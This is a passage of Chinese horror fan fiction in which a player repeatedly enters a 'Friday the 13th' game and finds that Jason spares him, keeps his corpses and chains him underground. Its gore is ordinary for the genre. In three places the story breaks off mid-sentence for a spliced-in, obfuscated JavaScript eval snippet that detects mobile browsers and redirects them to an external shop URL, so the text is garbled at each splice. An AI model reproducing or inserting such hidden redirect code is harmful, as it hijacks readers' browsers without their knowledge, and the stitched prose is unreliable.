汤姆抓起瑞奇脑袋旁的石头,从地上翻身,趁着杰森弯腰抽刀,一个飞跃,跳到杰森身上。他太急切激奋,不小心用力过猛,从预想中的跳到杰森背上变成脖子处。视线骤然拔高了几英尺,汤姆两腿不自觉夹紧杰森脖子,又顾虑杰森反应过来,拽他下去,匆匆举起石头一通狂砸。 哐哐哐几石头下去,换回杰森头晕似的摇了摇头,搭在刀柄上的双手没有移动分毫。反倒是汤姆喘息不已。 这家伙的脑袋瓜是铁球吧?汤姆没忍住,郁郁道:“不是,兄弟,你这样显得我像一个小丑诶。” 杰森真的有弱点吗?汤姆不禁思忖,杰森荒诞的五官如一道灵光飞快闪过。他咬牙,决定试上一试,双手握着石头朝杰森门面,尤其是脆弱的眼睛处击来。 一击之后,杰森身形猛地晃荡,犹如地基不稳的建筑开始倾斜。汤姆跨坐杰森脖子上,借着刚硬宽阔的肩膀稳住身形。他眼睛发光,举起石头就要再次挥打。 石块划穿空气,发出咻咻的破空声,如同笛子演奏乐曲般动听。然而,这悦耳之音不等人多加享受,突然中止了。不知道什么时候拔出砍刀的杰森伸手接住,便犹如堵住了发音孔,不光是乐器声,连风声树叶摩挲声通通消失不见。 汤姆心想:“完了。” 杰森轻轻用力,石头便落到手心,随手一扔,树丛传出枝丫压折嘎哒脆响。 完了完了。汤姆紧紧闭眼,疯狂给自己做心理建设。直到感受到身下缓慢的移动感,汤姆困惑地睁开眼。高举的刀光先一步映入眼帘,随后是躺在前方一无所知的瑞奇。 不可以!汤姆想都没想就伸手制止,却碰到刀刃。于是刀带着汤姆的血将瑞奇头颅切成两半。鲜血四溅,断手断指蒲公英似的散飞出去。 杰森愣了,刀也不取了,任凭它插在瑞奇的下颔骨。接着,他单手抓着汤姆的腰,抱洋娃娃似的,把人放到面前端详。汤姆双脚离地,下意识蹬腿,眼睛已经安详闭上。 这次总轮到他了吧? 砍刀迟迟不落,汤姆第二次睁开眼,看到杰森埋头猛盯流血不止的伤口,视线阴沉,仿佛对伤口苦恼不已。 汤姆因系统屏蔽而毫无知觉的两手莫名热意难耐。他受不了这古怪的氛围,“哥们,你还杀不杀啊?”汤姆用噗噗喷血的手腕断口推推杰森手臂,催促,“快杀快杀。” 杰森半只袖子沾满血,汤姆还趁机踢了他几脚,仍然毫无反应。仿佛电池用完的机器人,保持着最后一秒的姿势,目光便不曾从汤姆手腕伤口上移开。 忽然,杰森放下汤姆,用空出来的双手捡起挂在草间的破布。然后,他递给汤姆。 “给我的?”汤姆摸不着头脑,“你给我这干什么?” 杰森固执地伸出手。布条下垂的一端擦过汤姆手腕,微乎其微的痒意从腕间蔓延全身,汤姆不自在地后退几步。杰森就一声不吭往前走。布条始终随风擦过伤口。 一个不可思议的猜测就这么自然进入汤姆意识。他大吃一惊,语气跟见了鬼般悚然,“你不会是让我包扎伤口吧!?” 杰森目光炯炯,抬了抬手。 汤姆大叫:“老兄你有病啊!你不是杀人狂吗,你该杀了我啊。”他质问,“再说了,你看我这样子,是能够包扎的人吗?” 回答他的是杰森骤然蹲下的身体。他笨拙地用粗布缠绕汤姆伤口,一看就知道是个完全没有经验的人,布条系得松松垮垮,不知道还以为这是在给圣诞树缠绕彩灯装饰呢。 也不能怪杰森手生,他皮糙肉厚,从不需要处理伤口,任何伤很快就能自愈。无数人成为刀下亡魂,杰森解决他们的时候基本纯靠蛮力。人太脆弱了,只要破开肉.体,他们便活不了多久。但当这些人中出现汤姆,杰森平时能稳稳拿刀的手竟有些颤抖,平静了数年犹如死水般的情绪泛出波澜,他全然不知道如何应对。 而杰森上一次茫然,还是数十年前,母亲在刚复活过来的他面前被杀害,成为雨夜里头断血流的尸体。灵魂却始终跟在儿子身边,为无措的杰森指明方向—— “Kill for mother.” 杰森捡走了砍刀和母亲的头颅。砍刀继承母亲的遗志,为她杀死水晶湖的入侵者。头颅则珍藏在木屋内,它永远不腐朽,会有一个合适的时机,再次睁眼,从两瓣嘴唇吐出温柔的呼唤声。杰森会一直等下去,为了那一天的到来,刀锋始终锐利,血腥不减。 杰森不懂心里的情绪代表什么。他只清楚一点,不要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16764419|127772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼前的人类又成为冰冷冷的尸体。 汤姆没想明白,事情是怎么到这个地步的?怎么就发展成杀人狂帮忙救治病人?他眼神复杂地看着为自己包扎伤口的杰森,麻布看不出神情,但周身凝重的气势和杀人时候没什么两样。汤姆没有提醒他血压根没止住。 包好伤口,杰森刚起身,汤姆就朝砍刀扑去,然后被杰森拎猫似的揪住衣领提起来。 “咳咳,放、放开我。” 等杰森放开时,汤姆看到砍刀刀尖向下在他后腰间别好了。 “你不杀我?你杀啊,之前不是杀得那么痛快吗?” 无法续接断指,时时刻刻要忍受着身体缺了某个部分的不便利感。汤姆这才发现,没有纳米医疗技术将是一件多恐怖的事!比杰森会来到现实世界还恐怖! "求求你了,杀了我吧。"汤姆真心实意地请求道。让他重开吧。 杰森不作声,抱起汤姆,一路走到不省人事的惠妮身边,他转为单手抱住汤姆,另一只抓起惠妮往肩膀一丢。两个人的重量对杰森来说好像不存在,呼吸频率变都不变,步子又大又稳,一会儿就靠近汽车。 他将惠妮丢进后车座,再打开副驾驶车门,把汤姆放到副驾驶座。 汤姆在杰森后退时,不管不顾地猛踢人几脚。杰森捂着脸后退,汤姆见踢不到人后,腿才安分下来,杰森这才关上副驾驶座车门。 不知什么时候起,黑夜开始褪色,雾气般若隐若现的白飘散高空。地面树林依旧阴气缠绕,车子静静行驶它们落下的鬼影中。 杰森貌似打定主意不杀自己。几番试探,得出这个结果的汤姆不再挣扎,他平静下来,难得有时间仔细地打量杰森。但是不管怎么看,杰森依旧是高大沉默的杀人狂。脊背上没有擦拭的砍刀红光逼人,血腥味充斥狭小的车厢。 “你为什么不杀我?”汤姆好奇。 这个问题,杰森也回答不了汤姆。不杀惠妮,因为惠妮长得和母亲很像。但汤姆呢? 有时杰森也疑惑,汤姆明明长得一点也不像沃赫斯女士,为什么他期待见到这个人类,如同他渴望见到离开了二十年的母亲。他想不明白,索性不管。杰森只需要跟着想法行动,既然不愿意伤害汤姆,那就小心对待他。 杰森沉闷地开车,车轰轰响个不停,雷声大的动静一点点驱散地面黑影。新的一天早晨即将来到,可惜瑞奇是看不到了,惠妮不知道还有没有机会。 汤姆看着白黑渐变的天光,说: “你听得懂我说的话吧?” 车内安静。 “你为什么要一直带着这个东西?”汤姆又问,手指着杰森麻袋。“我想看你麻布下的样子,”他凑过去,还没伸手,杰森脑袋往旁边一躲。 汤姆忽然有一种迫害杀人狂的乐味,杰森兢兢业业开着车,但会躲他!嘿,多新鲜!汤姆有了喋喋不休的动力:“果然,你完全听得懂我说的话。可你什么话也不说.......你该不会是不会说话吧?” “你是一点都不会吗?你开个口嘛,比如,啊一声。” “这很简单的,长大嘴巴,哈气!” “你试一试。” 渐渐的,汤姆说话声小了,面庞白得和手腕露出的骨头一样。陷入晕眩的汤姆感受到推搡,勉强睁开眼,是杰森一边开车,一边伸出手推他。还是那副一个屁都放不出来的沉默样。 又想到就是这个杀人无常的杰森!害得他这一次憋屈地失血过多而死,汤姆埋怨:“你是不是有病。除非你学会说话,不然别打扰我!我不会再说一句话!” 他嗓音虚弱到若不仔细听,便被汽车行驶声盖过。语气里的愤怒和不耐烦,让杰森受惊似的收回手,他不再打搅汤姆,老老实实地开车。 车在小木屋旁停下时,太阳已经露出地平线,光线从林间树木缝隙射出,照到车窗上。 这里,他的家。他想汤姆看。 杰森急促地侧过头,心里雀跃又迫切,却在看到眼前的景象归于死寂。 不知道什么时候死去的尸体,五官依旧是那么漂亮俊秀。但杰森知道,过不了多久,这具尸体便会被可恶的虫子占据。而他,毫无办法。 杰森取下粗麻黄布,用融化成冰淇淋似的面容贴上汤姆脸蛋。他看不见唇瓣的嘴巴上下开合,声带极力在振动,却什么声音都没发出。 他嚯嚯吐息,热气蒸腾成白雾,不断上升,最终,消失在布满曙光的空气中。 32.十三号星期五09 死因是失血过多。虽然归根到底,杰森逃不了关系,但汤姆觉得杰森明明可以直接给他个痛快杀了他,却偏偏选择帮他包扎......光想到这,汤姆浑身别扭得不行,连连摆头,驱散脑海奇怪的画面。 接着,汤姆开始《黑色星期五》的第五次尝试。 这次他如愿以偿是一个人,并且顺利在五金店买了把武器——电锯,就是结账时出了点小插曲。 红桌木柜台边的中年男人边结账,边装作漫不经心地说:“过几天就是感恩节,年轻人,有什么事儿,至少可以等节过了再说吧?”他可不想一家人快快乐乐在吃火鸡时,电视机忽然播报死人。 汤姆:“......”老板似乎误会了什么。可是某种层面而言,他好像也没误会。 汤姆将电锯装入麻布包,背在身后,径直出店门。人群喧闹声一下子变得响亮清晰,街道人来人往,各式外壳油光锃亮的汽车络绎不绝,像是蜜蜂、蚊子、马齐齐叫个不停。 与前几次人迹罕至的荒凉地开局迥然不同,熙来攘往的街道纵横交错,再远处是高楼大厦,白日天光是那么明净,汤姆不住地在心里感慨:“这才是玩游戏啊!而不是和杰森打打杀杀,或者更准确的说,被杰森打打杀杀。” 不过,一刀一个的杰森也突然朝着一个诡异的方向发展,表现得像人性未泯。包扎伤口这个词怎么想都和一个杀人狂无缘吧! 在耳畔车来人往嚷闹声中,汤姆突发奇想:倘若杰森没有溺水、没有种种意外,会不会像个普通人一样生活? 也许是杰森手握砍刀的印象太深,汤姆竟然想象不出来一个没有砍刀的杰森会是什么样。就算他不再随便杀人,但他能和人好好相处?不是被欺负得沉默无言,就是用自己庞大如牛的身躯恐吓他人。 汤姆不由感到好笑,也笑自己,想出这个天马行空、不切实际的问题。他拿出车钥匙,前方花坛旁的车亮出红光。汤姆打开车门,驾车穿过街道。 汽车一路行驶,小镇变成黑点,消失在后视镜里。驰入郊区没多久,汽车仪表盘显示油量所剩不多。在汽油正式告罄之前,汤姆看到汽车旅馆。一群年轻人欢闹着走出旅馆,远远能听到他们的说笑声。 汤姆在旅馆旁的空地找了个停车位,进入旅馆大门时,他和一个棕卷发的青年男人擦肩而过。 给车加上油后,那个棕色卷发的年轻人还没离开。他靠坐着机车,黑夹克和头发被风吹得乱飞,露出一张方脸和锐利的眼睛,胡茬密布凹陷的两颊,看起来面容憔悴。他手里攥着报纸,白光一照,汤姆轻易将纸上内容看个清楚。 ——失踪。你见过惠妮吗? “你好,我能看看你手里的东西吗?”汤姆一边说,一边伸出手。他确信这个人会答应。 棕发男子愣了下,随即忙说着当然可以,将纸递出来。他可能联想到什么,看向汤姆的眼神炽热似火,没注意到指尖用力,纸张发出窸窣声。 汤姆接过纸张,揉皱痕迹让画面女孩面容有些变形。但汤姆还是一眼就认出来,这个满面笑容的长发女孩,正是惠妮! 汤姆审视面前的陌生男人,果然从眉眼中找出熟悉之处。“你是惠妮的家人?”他问。 “是的!我是他哥哥,克莱。”克莱说话急促,“你认识惠妮?你是不是知道她的消息!请告诉我吧。”他太迫切需要知道妹妹的信息,以至于口气听起来生硬强劲。 汤姆发出一声叹息。他没想到自己有一天也会做谜语人。“这里不是你该来的地方,回去吧。” “你这是什么意思?”克莱眉头立皱,目光顿时凶恶起来。他黑夹克外套敞开,露出胸前因肌肉而鼓胀的薄T恤,瞧着就不好惹。“如果你知道什么,请你大可以放心说出来。”话一说出来,克莱先发觉语气的不友好。他不愿意惹怒目前唯一一个能提供妹妹线索的人,勉强放轻声音,加上句,“拜托。” 汤姆观察着克莱,轻声说:“你知道杰森吗?” 克莱眼神有一瞬间的茫然。他对这个人名闻所未闻,不过敏锐地意识到这不会是个无缘无故的问题。“难道他和我妹妹的失踪有关?”他避开汤姆的提问。 汤姆一眼看出来克莱在试探他,只提醒道:“惠妮很有可能凶多吉少。你放弃吧,别把自己搭进去。”既然克莱一无所知,汤姆便不打算再透露。 克莱握紧拳头,嘴唇抿了又抿,才压下滔天的愤怒,憋出句温柔点的问话:“你凭什么这么说?” “你如果知道杰森,便不会有这个疑问。” “管他什么杰森,我一定会找到她。而你,知道什么,麻烦请告诉我。我并不想动用武力。”克莱冷冷地说,眼睛死死盯着汤姆。 汤姆想过扯下背包,拿出电锯威胁回去。毕竟除了杰森那个杀人狂,其他人凭什么吼他威胁他?他是来玩游戏的!被杰森杀了多次就算了,区区一个NPC也要想对他暴力?当他好欺负吗。但想想惠妮那个可怜的姑娘,汤姆选择换一种方式。 他说:“离水晶湖越远越好。永远别去那儿。” 这既可以是个警告,也可以是个提示。显然,对于克莱而言,这句话便是后者。 “水晶湖!”克莱脸上登时换发光彩,沉浸在得知妹妹信息的喜悦,没管离开的汤姆。 克莱的命运就听天由命吧。要是他听从警告就此离开,能够远离杰森的虐杀。但若是他执意前往水晶湖寻找惠妮,那就注定会和杰森撞上喽。汤姆心想着,驱车行驶在公路上。他感觉自己有点冷血,但下一秒,他笑了。这只是个游戏。 汤姆原本打算在白天找到惠妮说的杰森住所,然而直到日暮西垂,汽车还在大马路上打转。从进了水晶湖后,周围路牌稀少,更不可能会有个直说“距离杰森的家x”的路牌。他陷入一种尴尬的境地,前行的目标清晰,手上却在做徒劳无用的功夫。 汤姆抓了抓头发,眼睛看树林看得恍惚。汽车电台播放着主持人热情洋溢的说话声:“为了庆祝即将到来的节日,当红歌星决定......” 难道他要等着杰森来找他?烦! 汤姆一把关闭电台念叨道,“都怪这些树,长得那么像干嘛,千篇一律!没有灵魂!毫无特色!” 突然,前方树丛左倒右伏。汽车开近后,汤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16764420|127772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姆在丛林中发现车辙印记。上局临死前的记忆窜入脑海,汤姆一个激灵想起来杰森当时开车的路线。 没错!就是这。 到达目的地时,夜幕已然降临。木屋镀了层莹莹的月光。草坪上,帆船、车、箭靶一个不落,和惠妮所说的相吻合。 看来这就是杰森的住所。 汤姆推开门,腐朽和木头泛潮的气味扑面而来。屋子黑暗,如久不见光日的洞窟,仅凭微弱的光线很难辨物。幸好汤姆目的也不在看清房间摆设。他握住电锯,另一只手攥紧拉绳,警戒地打量屋内。避开锈迹斑斑的沙发桌椅,逛了一圈,除开浴室,这里空无一人。 汤姆现在可以找个地方,等着杰森。但他抵不过好奇心,推开浴室门,摸索到灯光开关,按下后,室内灯光大亮。 汤姆心里早有准备,不管接下来出现多恶心的场面,他绝不会过于惊讶—— “啊!?”怎么越看越像...... 汤姆不是被尸体吓到。他表情惊疑不定,在浴缸内四具尸首翻来覆去、看了又看,尸体越瞧越眼熟:也许是因为时间流逝,比起惠妮的描述,浴缸里只有四具白骨,没有蠕虫内脏。一具支离破碎,只留下头骨和脚;三具尚且完好的骸骨,其中一个鼻子断裂,另一个缺少手指。 这、这不就是他自己吗? 恍若一道晴天霹雳打来,叫汤姆在原地僵硬成岩石。 骤然看到自己的尸体,还不止一副,他所受的冲击不小,胸膛剧烈起伏,鼻腔鼓风机似的呼呼吐息。若隐若无的腐朽馨香环绕室内。 这四具全是他用过的尸体,也正因如此叫一切显得更为诡谲恐怖。诡异的错乱感攫取住心神,汤姆仿佛整个人浸泡在恐慌的深水中,四肢直起鸡皮疙瘩。 尸体只剩下森森白骨。与尸首对视时,生和死的距离似乎被模糊,黝黑如洞的眼骷髅似乎腾升好几束光线,直直锁定汤姆。汤姆感到毛骨悚然,接连退了几步。当身上洒满月光,他这才发现自己已经退离浴室。 这间屋内虽然光线仍旧昏暗,但也比灯光大开的浴室让人舒适。汤姆呼吸逐渐平缓,惊惧减轻,他开始思索尸体怎么会出现在这。 显而易见,尸体都是杰森收集放在浴缸里。杰森为什么会这么做?这几具尸体都是自己的,那是否意味着汤姆每次重来,杰森都知道?所以才会对他态度有所改变? 想想,有这么一个人,无论杀多少次,总会奇迹般的再次复活。普通人可能会感到害怕远离,杰森呢?他会不会以为这是他的同类?这会是杰森不杀他的原因吗? 繁多的心思如同滔滔潮水在心里涨落,扰得汤姆精神恍惚,恨不得把罪魁祸首从哪个角落里扒拉出来,摇着他的肩膀质问他:“变态啊你!收藏尸体是什么癖好!?” 杰森会怎么回复?汤姆有一种感觉,听他问完话,杰森只会呆愣愣瞅着他,跟块死木头似的一声不吭。 忽地,门后年久失修的木板传来咯吱声,随即是推门声响。汤姆瞬间转过身,拉动电锯拉绳,嗡嗡的运作声响在木屋内回荡,锯齿寒光凛凛,直指门口来人。 “啊!” 33.十三号星期五10 “是我!汤姆。” 嗓音嘶哑,伴随着沉重的喘息。但汤姆认出,这是白日里才说过话的克莱。他身旁还有一个陌生女人,她刚刚被汤姆吓得叫出了声,现在正紧紧抓住克莱外套。 汤姆收住电锯,锯条不再转动,木屋重归夜色的平静。明亮的光线斜照进来,汤姆看到两人额上的细汗,凌乱的衣衫上夹带树叶,还有克莱手中粗苯但不容忽视的斧头。 “你们遇上杰森了。”他肯定地说。 安娜睫毛颤了颤。这句话触痛了她,不自觉将克莱外套抓出几道深褶皱。指腹硬朗的触感让她冷静下来,小心地探出目光打量汤姆。 屋内的年轻人镇定自若,和慌不择路跑到木屋的他们截然不同,安娜越发忐忑不安,仿佛汤姆人形皮囊下潜伏了狰狞巨影。虽然汤姆已经收好电锯,但在破木屋里手执电锯的形象已经由恐慌深扎安娜心底。她无论如何也无法把面前这个秀美的青年和好人扯上关系。 克莱拍拍安娜的肩膀,笑容苦涩,道:“你说的没错。” 他和汤姆分别后,经历跌宕起伏,早已深刻领悟到杰森厉害。现在看到汤姆,克莱回想起那句警告,心下说不懊恼自然是假的。杰森是个不折不可的危险人物,他还有安娜,以及安娜的伙伴们都不该莽撞闯入水晶湖。这个教训得来惨痛,经由人命堆砌,而眼下他们除了逃命别无他法。 “真不幸。”汤姆说,实际上心中喜悦。他知道这样不应该,但大部分原因确实是克莱两人带来的“杰森快来了”信息。 为了削减罪恶感,他提醒两人:“你们快点离开吧,这里是杰森的——” “救命!” 打断汤姆说话的,是不知从何处响起的求救声,以及,听到声音顿时喜出望外的克莱。 “惠妮!是你吗,惠妮?”克莱没想到还能听到妹妹的声音,大声回道,“我听到了,你等等,我马上就来就你。”他竖着耳朵,探听妹妹声音来源。 汤姆见克莱这副样子,也知道他不在乎可能追逐在身后的杰森。他转向安娜,“你呢?你不跑吗?” 安娜咬住唇,头摇得很缓慢,“谢谢你的好意,我得和克莱一起。”她知道自己一个人,若是撞上杰森毫无胜算,不如和克莱一起逃命。 “嘭——” 找到了声音踪迹的克莱,正蹲在地上,斧头对准柜门旁的地板砍下。 灰尘洋洋洒洒,本想要帮忙的汤姆退了几步,避开扑飞到胸膛、在光线下盈盈飞舞的细小灰尘。当他再看向克莱时,地板破了个洞,约一人宽,底下是幽深的地道。 克莱当即跳下去。安妮没有犹豫,跟在他身后。屋子内只留下汤姆一个人,他犹疑地看了下门口。 空无一人。 杰森不知道什么时候出现,本以为已经遇难的惠妮居然还活着。汤姆想着自己和惠妮有过的逃命友谊,犹豫后,也进入地道。 地道需要弯腰前行,好在宽阔,能容纳两三人并肩行走。侧壁堆满琐碎杂物,上面积满泥土,难以分辨。他们循着声音,一路顺着地道直行。经过拐角,没走几步,他们看到双手被锁在铁栏杆上的惠妮。 “惠妮!你没事吧?” “没事,克莱。” 除了嘴唇苍白,长发凌乱,惠妮看上去并没有什么外伤。这让克莱松了很大一口气,他生怕妹妹死亡,也恐惧看到她遍体鳞伤。几近完好无损的惠妮完全出乎克莱的意料,他红着眼抱住惠妮,只觉得白天一整天的风波都值了。“感谢老天,惠妮。你没事,你没事......” “克莱......”惠妮眼含热泪,被囚禁一个多月以来,她都快放弃求生的希望。哪曾想,哥哥一直没有放弃她。泪花在眼眶里打转,她极力忍住,不想克莱过多担忧,却在瞧见安娜身后的汤姆时,眼泪全落下来,“汤姆,是、是你吗?”她声音颤抖,不敢置信自己看到了什么。 汤姆最糟糕的想法印证了。这群NPC有记忆。 克莱愣了下,视线困惑地在汤姆和惠妮两人身上打转。而安娜既不认识汤姆也不了解惠妮,没有克莱的疑惑,她见惠妮有话对汤姆说,便自觉侧身靠墙,给汤姆留出一条道,也让惠妮看了个清楚。 “太好了!真的是你,汤姆!”手铐晃动声响彰显惠妮内心的激动,若不是被锁住,她的两条手臂已经朝着这个一起逃亡过的伙伴紧搂去。 汤姆犹豫了下,主动走过来,被惠妮抱了个正着。 “你没有死。我当时醒来,没看到你,还以为......”惠妮声音哽咽。 汤姆有点无所适从。莫名的尴尬席卷心头,他每次都是抱着开局一身轻松的心态,哪里想居然还有之前的旧账。他只好转移话题道:“惠妮,我们先帮你解开锁链。” 说着,汤姆拿出电锯。在惠妮还沉浸在重逢的喜悦中时,他对铁链比划几下,手铐脆弱得像根纤细树枝般,轻松断开。 整个过程不超过两秒,快速到众人还没反应过来。紧密关注着动静的安娜比惠妮先一步发现,见人重拾自由,她立即发出乞求:“快,我们赶紧走吧。”她搂住自己,不知道是多少次摩挲手臂,她试图放松一点,却只是让脚步在地道泥地跺出好几个印子。 “安娜说得对。惠妮,我们快走。”克莱搀扶起惠妮,只来得及对汤姆道句谢,对他和惠妮关系的疑惑只能重新压回心里,待出去后再探究。 他们打算原路返回。 “砰砰——”头顶地道震动,泥灰下落。 惠妮面容惨白,紧张地握住克莱的手,“他来了!”她喃喃道。 克莱和安娜联想到先前被杰森追逐的情形,立马慌不择路地在隧道里逃亡,好在后面的隧道高了好几寸,不用弓着腰跑。 汤姆本来想留下来,却被惠妮拽住手,拉着一起跑。背后的电锯哐哐打着脊背骨,汤姆用另一只固定住带子,才喘了口气。 隧道内全是干燥的泥土气息,众人跑得呼哧呼哧,身后脚步声却在一点点迫近。又一次转弯后,他们绝望地看着前方的死路,踌躇无措时,克莱发现墙上挖了个洞穴。洞口狭窄,只能爬行通过,且一次只能进去一个人。 “你们先走,我最后。”汤姆说。话说出口,他就发觉这句话不得了,有点帅气。果然,其他三人看他的目光,都是在看一个仿佛洒满圣光的天使。 惠妮泪眼汪汪,“汤姆......”但她清楚时间不可以浪费,率先爬进洞内。其次是安娜。安娜没有多说一句话,只用行动节省时间。而克莱刚进去,就听到杰森走进的脚步声,他脸色一变,立马要退出来。汤姆连忙踢了脚克莱露出来的屁股。 “快走,别忘了我有电锯。” 汤姆实际想的是:白天威胁的仇,报了! 克莱还以为汤姆是不想他撞上杰森,被那一脚感动得不行,也不愿意浪费了汤姆的心意,狠心爬走。 汤姆静静地看着隧道,直到里面没有动静。他转身,杰森就在身后,脑袋顶着隧道顶。 汤姆惊讶地看向这个可以称之为老熟人的对手:他没有带头套,而是换上了一副曲棍球面具。上面布满小窟窿,两道红杠醒目,造型简洁,却完满地和他的气质融合,唯一的缺点是他露出的眼睛。不知道其他人看到什么,汤姆透过它,看到了一个手无寸铁、目光懵懂的杰森。 他杀过人,沾过血,目光却有孩童的纯澈。汤姆不可思议地凑近几分,他疑心是看错了。杰森眼睛也不眨。刀别在腰间,双臂自然垂落,全然没有拔刀的意思。 汤姆的手却始终放在电锯上。他还是记得自己的游戏目标的。然而,他心底有太多的疑惑。 “你是不是一直记得我,杰森?在你心里,我到底算什么呢?” 杰森没说话,但汤姆从他的眼睛看到了答案。他觉得杰森换个装扮挺好的,至少不再沟通困难。 “你不说话,那我来猜。你有超乎常人的体质,而我能够复活。你以为我是你的同类,所以不想杀我,对不对?” 汤姆和杰森距离很近了,他只要一拉动电锯朝杰森面上挥去,这场游戏说不定就能结束。可是,杰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16764421|127772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 森目光定定看着汤姆,没有任何打量,也不带什么审视,只是一个最简单不过、不带任何附加意味的凝视。单纯因为站在这儿的是汤姆,杰森目光便再也移动不开。 这,这叫他怎么下手哦?汤姆从来不知道自己竟然是个优柔寡断的人。但是杰森看他的眼神这么干净,汤姆甚至认为若是动手,显得像是在欺负小孩子,他心有不安。 这么一想,杰森10岁溺水而亡,等他复活之后都是孤身一人生活,他不会智商和意识都还保持在10岁? 汤姆内心波澜起伏,看到杰森庞然的个子,他又恢复了平和:10岁是不可能长成这么一副熊样的。 然而,在汤姆拉动电锯拉绳之前,冰冷的钢铁先一步锁住他的手腕。 "咔嚓。" 汤姆惊讶地看着手上的镣铐,镣铐另一端被杰森拴在支撑洞穴的一根木头上。 “杰森,你这是什么意思。”汤姆从牙缝里挤出。 杰森轻轻摸着汤姆的脸,磕磕绊绊道:“妈妈......”这是他唯一会说的词。 汤姆第一反应是杰森又是什么癖好,随后从不停焦急看向洞穴的杰森那儿,联想到惠妮的毫发无损,他陡然发现惠妮和沃赫斯母亲面容有几分相似。“你要去找惠妮?”他明白过来。 “妈、妈......”杰森只会结结巴巴死磕这词。 汤姆无话可说,在他觉得杰森有心眼的时候,这人又变得蠢兮兮的。汤姆当然不会认为惠妮就是杰森的母亲或者是沃赫斯夫人的转世,只怕杰森是见到惠妮和母亲长得像。 “不准走。你要留我一个人吗!?” 一边是汤姆,一边是长得很像母亲的惠妮,杰森不停地搓手指。 汤姆攥住杰森的手臂,“你怕我逃,所以锁住我?哈?你不是知道我可以复活吗,我直接,等等,你干嘛——” 杰森摸着昏过去的汤姆头发,慢慢将人放到地上,罕见跑动起来。他想,快点找到惠妮,就回来,和汤姆一起。 杰森行动很快,他以为这次也不例外。当他意识到自己将死在惠妮和克莱手中,慌乱不可遏止地叫杰森奋力挣扎,直到失去意识,他脑子里都只有一个念头—— 汤姆怎么办。 杰森再次恢复意识是在一个雷雨交加的夜晚。他浑身湿透从水晶湖爬出,寒风吹过胸口破洞,暴露出白的肋骨和红的血肉。他没有感到冷,或者疼痛。这些人本应具备的触感,在死而复生的杰森这儿隐没。 他用最短的路线朝木屋走去。他穿过树丛,有时是他人的庭院,一路经过水晶湖的屋舍,玻璃倒映出一副阖家欢快的景象。大部分家庭忙于庆祝节日,享受火鸡、蜂蜜烤面包的盛宴,没有多余的心神分到冰冷冷的窗外。少数几个眼咕噜转的小孩瞥到,大叫出声,大人只当做是普通的夜归人。而注意到曲棍球面具的父母白着脸捂住小孩的嘴,忐忑地看着杰森一无所觉地走过窗户,在路面留下潮湿的水渍。 杰森走进木屋,进入地下室,在该发现汤姆的地方看到一堆白骨。白骨旁边,是长满锈迹的铁铐。 他静止了半晌,才抱起尸体,穿过蜿蜒的隧道,来到浴室,将属于汤姆的尸骨放在一起。 沉闷的空气中忽地响起嘶哑微弱的声音: “啊......” “啊!?” 回到现实世界的汤姆想和游戏系统据理力争,“我没有杀死杰森完成目标,凭什么我不能进去?” 《黑色星期五》变灰,任凭汤姆想尽方法,都进不去。他又找了半天游戏意见反馈渠道,却只是在做无用功,最后只能不甘承认这游戏鬼机灵。 呵,它也知道玩家要是能轻易找到意见反馈处,它们邮箱得被投爆炸!汤姆气呼呼接受了现状,早知道杰森给他耍心眼,下次,他见面就先动手。 《黑色星期五》不能进去,但其他的几个选项却还亮着。汤姆逐一扫过这些选项,最后在《十三号星期五1》上停下。 “既然是系列1,那杰森应该不会很强吧?”他心想。 34.十三号星期五11 树叶沙沙,风裹着孩童嬉笑声,从远处吹来。水晶般剔透的湖泊泛起波澜,倒影顿时扭曲,如同被哈哈镜拉扯,在某个瞬间,和经杰森搓揉而不堪入目的面容重合。 汤姆心头一颤。不管多久,他都忘记不了。曾经他想不通杰森为什么这么做,现在大致能理解。亲手杀死的人竟然再次见到,惊讶之下,会忍不住观察,乃至上手摸索。 能想到这一步,因为汤姆正在做杰森当初没做成功的事。当看到湖面的倒影,汤姆倒抽一口冷气,不知道扯了多少次脸蛋,仍然不敢置信。若不是水波的打断,汤姆可能还沉浸在自己的思绪里。然而眼下,湖泊平静下来,清晰映照着一张稚气未脱的面庞。他龇牙咧嘴捂着脸,接受事实—— 他就是这个看起来才十岁的小鬼。 汤姆站起身,蹲久了差点眼前一黑、栽进湖泊。他扶着腿缓了会儿,才直起脊背。水面的人跟着挺腰,脑袋陷进茂密绿叶中。实际上,身后郁葱的桦树,哪怕汤姆个子没有缩水,够不上它的分岔,更别提顶端的树叶。 这个子,这体力,看得汤姆又是一声幽幽叹息。“往好的地方想,万一,杰森也是个小孩子呢?”他安慰自己。 就在这时,汤姆听见叫喊,尖细、锋利,接着是比之前更为喧闹的童音,宛如鸡群报晓。 